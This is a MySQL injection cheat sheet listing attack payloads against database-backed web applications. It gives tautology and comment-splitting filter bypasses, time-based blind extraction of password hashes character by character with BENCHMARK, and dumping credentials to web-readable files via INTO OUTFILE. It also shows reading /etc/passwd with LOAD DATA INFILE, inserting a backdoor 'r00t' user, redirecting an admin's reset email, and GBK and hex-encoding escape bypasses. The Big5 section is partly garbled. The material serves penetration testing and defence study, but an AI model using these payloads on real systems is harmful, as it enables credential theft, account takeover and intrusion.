MySQL Injection Cheat Sheet

MySQL Injection Cheat Sheet

1. Basics.

SELECT * FROM login /* foobar */
SELECT * FROM login WHERE id = 1 or 1=1
SELECT * FROM login WHERE id = 1 or 1=1 AND user LIKE "%root%"

2. Variations.

SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1
SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1 A/**/ND user L/**/IKE "%root%"

3. SHOW TABLES

SELECT * FROM login WHERE id = 1 or 1=1; SHOW TABLES
SELECT VERSION
SELECT * FROM login WHERE id = 1 or 1=1; SELECT VERSION()
SELECT host,user,db from mysql.db
SELECT * FROM login WHERE id = 1 or 1=1; select host,user,db from mysql.db;

4. Blind injection vectors.

4-1) Operators

SELECT 1 && 1;
SELECT 1 || 1;
SELECT 1 XOR 0;

4-2) Evaluate

all render TRUE or 1.
SELECT 0.1 <= 2;
SELECT 2 >= 2;
SELECT ISNULL(1/0);

4-3) Math

SELECT FLOOR(7 + (RAND() * 5));
SELECT ROUND(23.298, -1);

4-4) Misc

SELECT LENGTH(COMPRESS(REPEAT('a',1000)));
SELECT MD5('abc');

4-5) Benchmark

SELECT BENCHMARK(10000000,ENCODE('abc','123'));
this takes around 5 sec on a localhost

SELECT BENCHMARK(1000000,MD5(CHAR(116)))
this takes around 7 sec on a localhost

SELECT BENCHMARK(10000000,MD5(CHAR(116)))
this takes around 70 sec on a localhost

4-6) Using the timeout to check if user exists

SELECT IF( user = 'root', BENCHMARK(1000000,MD5( 'x' )),NULL) FROM login
Beware of of the N rounds, add an extra zero and it could stall or crash your browser!

5. Gathering info

5-1) Table mapping

SELECT COUNT(*) FROM tablename

5-2) Field mapping

SELECT * FROM tablename WHERE user LIKE "%root%"
SELECT * FROM tablename WHERE user LIKE "%"
SELECT * FROM tablename WHERE user = 'root' AND id IS NOT NULL;
SELECT * FROM tablename WHERE user = 'x' AND id IS NULL;

5-3) User mapping

SELECT * FROM tablename WHERE email = 'user@site.com';
SELECT * FROM tablename WHERE user LIKE "%root%"
SELECT * FROM tablename WHERE user = 'username'

6. Advanced SQL vectors

6-1) Writing info into files

SELECT password FROM tablename WHERE username = 'root' INTO OUTFILE
'/path/location/on/server/www/passes.txt'

6-2) Writing info into files without single quotes: (example)

SELECT password FROM tablename WHERE username =
CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39)) INTO
OUTFILE CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR(
39))

Note: You must specify a new file, it may not exist! and give the correct pathname!

6-3) The CHAR() quoteless function

SELECT * FROM login WHERE user =
CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39))

SELECT * FROM login WHERE user = CHAR(39,97,39)

6-4) Extracting hashes

SELECT user FROM login WHERE user = 'root'
UNION SELECT IF(SUBSTRING(pass,1,1) = CHAR(97),
BENCHMARK(1000000,MD5('x')),null) FROM login

example:

SELECT user FROM login WHERE user = 'admin'
UNION SELECT IF(SUBSTRING(passwordfield,1,1) = CHAR(97),
BENCHMARK(1000000,MD5('x')),null) FROM login

SELECT user FROM login WHERE user = 'admin'
UNION SELECT IF(SUBSTRING(passwordfield,1,2) = CHAR(97,97),
BENCHMARK(1000000,MD5('x')),null) FROM login

6-5) explaining: (passwordfield,startcharacter,selectlength)

    is like: (password,1,2) this selects: ‘ab’
    is like: (password,1,3) this selects: ‘abc’
    is like: (password,1,4) this selects: ‘abcd’

6-6) A quoteless example:

SELECT user FROM login WHERE user =
CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39))
UNION SELECT IF(SUBSTRING(pass,1,2) = CHAR(97,97),
BENCHMARK(1000000,MD5(CHAR(59))),null) FROM login

Possible chars: 0 to 9 ? ASCII 48 to 57 ~ a to z ? ASCII 97 to 122

7. Misc

7-1) Insert a new user into DB

INSERT INTO login SET user = 'r00t', pass = 'abc'

7-2) Retrieve /etc/passwd file, put it into a field and insert a new user

load data infile "/etc/passwd" INTO table login (profiletext, @var1) SET user =
'r00t', pass = 'abc'

Then login!

7-3) Write the DB user away into tmp

SELECT host,user,password FROM user into outfile '/tmp/passwd';

7-4) Change admin e-mail, for “forgot login retrieval.”

UPDATE users set email = 'mymail@site.com' WHERE email = 'admin@site.com';

8. Bypassing PHP functions

(MySQL 4.1.x before 4.1.20 and 5.0.x)

8-1) Bypassing addslashes() with GBK encoding

WHERE x = 0xbf27admin 0xbf27

8-2) Bypassing mysql_real_escape_string() with BIG5 or GBK

"injection string"
に?する追加情報:

the above chars are Chinese Big5

Advanced Vectors

1. Using an HEX encoded query to bypass escaping.

Normal:
SELECT * FROM login WHERE user = 'root'

Bypass:
SELECT * FROM login WHERE user = 0x726F6F74

2. Inserting a new user in SQL.

Normal:
insert into login set user = ‘root’, pass = ‘root’

Bypass:
insert into login set user = 0x726F6F74, pass = 0x726F6F74

3. How to determin the HEX value for injection.

SELECT HEX('root');
gives you:

726F6F74
then add:

0x
before it.

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